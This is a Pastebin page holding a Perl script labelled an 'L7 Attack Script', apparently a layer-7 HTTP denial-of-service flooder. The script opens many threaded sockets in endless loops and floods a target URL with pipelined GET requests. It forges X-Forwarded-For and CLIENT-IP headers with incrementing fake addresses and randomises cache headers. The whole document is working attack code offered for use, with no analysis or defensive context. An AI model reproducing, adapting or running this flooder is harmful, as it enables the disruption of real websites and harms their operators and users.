Advertisement
KhaosBringer

BTY L7 Attack Script Source.pl

Nov 24th, 2018
2,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.09 KB | None | 0 0
  1. #!/usr/bin/perl
  2. package control;
  3.  
  4. my $ip;
  5.  
  6.  
  7. sub new {
  8.     my ($class,$i) = @_;
  9.     $ip = $i;
  10.     my $self={};
  11.     $ip = $i;
  12.     bless $self, $class;
  13.     return $self;
  14. }
  15.  
  16. sub mas {
  17. my ($self,$veces) = @_;
  18. $veces = 1 if($veces eq "");
  19. my ($a,$e,$o,$b) = split(/\./,$ip);
  20. for($as=0;$as<$veces;$as++) {
  21. $b++;
  22. if($b>=255) {$b=0;$o++;}
  23. if($o>=255) {$o=0;$e++;}
  24. if($e>=255) {$e=0;$a++;}
  25. die("No mas IPs!\n") if($a>=255);
  26. }
  27. $ip = join "",$a,".",$e,".",$o,".",$b;
  28. return $ip;
  29. }
  30.  
  31. 1;
  32.  
  33. package main;
  34.  
  35. use Socket;
  36. use IO::Socket::INET;
  37. use threads ('yield',
  38.                 'exit' => 'threads_only',
  39.                 'stringify');
  40. use threads::shared;
  41.  
  42. my $ua = "Mozilla/5.0 (X11; DDoS Rekt Kid; rv:5.0) Gecko/20100101 Firefox/5.0";
  43. my $ua = "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)";
  44. my $ua = "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)";
  45. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00";
  46. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00";
  47. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00";
  48. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01";
  49. my $method = "GET";
  50. my $hilo;
  51. my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
  52. my $randsemilla = "";
  53. for($i = 0; $i < 30; $i++) {
  54.     $randsemilla .= $vals[int(rand($#vals))];
  55. }
  56. sub socker {
  57.     my ($remote,$port) = @_;
  58.     my ($iaddr, $paddr, $proto);
  59.     $iaddr = inet_aton($remote) || return false;
  60.     $paddr = sockaddr_in($port, $iaddr) || return false;
  61.     $proto = getprotobyname('tcp');
  62.     socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  63.     connect(SOCK, $paddr) || return false;
  64.     return SOCK;
  65. }
  66.  
  67.  
  68. sub sender {
  69.     my ($max,$peerto,$host,$file) = @_;
  70.     my $sock;
  71.     while(true) {
  72.         my $packet = "";
  73.         $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $peerto, Proto => 'tcp');
  74.         unless($sock) {
  75.             print "\n[x] Unable to connect...\n\n";
  76.             sleep(1);
  77.             next;
  78.         }
  79.         for($i=0;$i<$porconexion;$i++) {
  80.             $ipinicial = $sumador->mas();
  81.             my $filepath = $file;
  82.             $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
  83.             $packet .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  84.         }
  85.         $packet =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  86.         print $sock $packet;
  87.     }
  88. }
  89.  
  90. sub sender2 {
  91.     my ($peerto,$host,$packet) = @_;
  92.     my $sock;
  93.     my $sumador :shared;
  94.     while(true) {
  95.         $sock = &socker($host,$peerto);
  96.         unless($sock) {
  97.             print "\n[x] Unable to connect...\n\n";
  98.             next;
  99.         }
  100.         print $sock $packet;
  101.     }
  102. }
  103.  
  104. sub layer7 {
  105.     $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
  106.     $url = $ARGV[0];
  107.     print "Opening Sockets\n";
  108.     $max = $ARGV[1];
  109.     $porconexion = $ARGV[2];
  110.     $ipfake = $ARGV[3];
  111.     if($porconexion < 1) {
  112.         print "[-]Invalid arg 3...\n";
  113.         exit;
  114.     }
  115.     if($url !~ /^http:\/\//) {
  116.         die("[x] Invalid URL!\n");
  117.     }
  118.     $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
  119.     ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
  120.     $peerto = 80;
  121.     ($host,$peerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
  122.     $file =~ s/\s/ /g;
  123.     print join "","Attack Sent\n";
  124.     $file = "/".$file if($file !~ /^\//);
  125.     print join "","";
  126.     if($ipfake eq "") {
  127.         my $packetbase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  128.         $packetsender = "";
  129.         $packetsender = $packetbase x $porconexion;
  130.         $packetsender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  131.         for($v=0;$v<$max;$v++) {
  132.             $thr[$v] = threads->create('sender2', ($peerto,$host,$packetsender));
  133.         }
  134.     } else {
  135.         $sumador = control->new($ipfake);
  136.         for($v=0;$v<$max;$v++) {
  137.             $thr[$v] = threads->create('sender', ($porconexion,$peerto,$host,$file));
  138.         }
  139.     }
  140.     print "[-] Launched!\n";
  141.     for($v=0;$v<$max;$v++) {
  142.         if ($thr[$v]->is_running()) {
  143.             sleep(3);
  144.             $v--;
  145.         }
  146.     }
  147.     print "[!] Finished!\n";
  148. }
  149.  
  150.  
  151. if($#ARGV > 2) {
  152.     layer7();
  153. } else {
  154.     die("Usage: bty.pl <url> <threads> <sockets> <proxy>\n");
  155. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement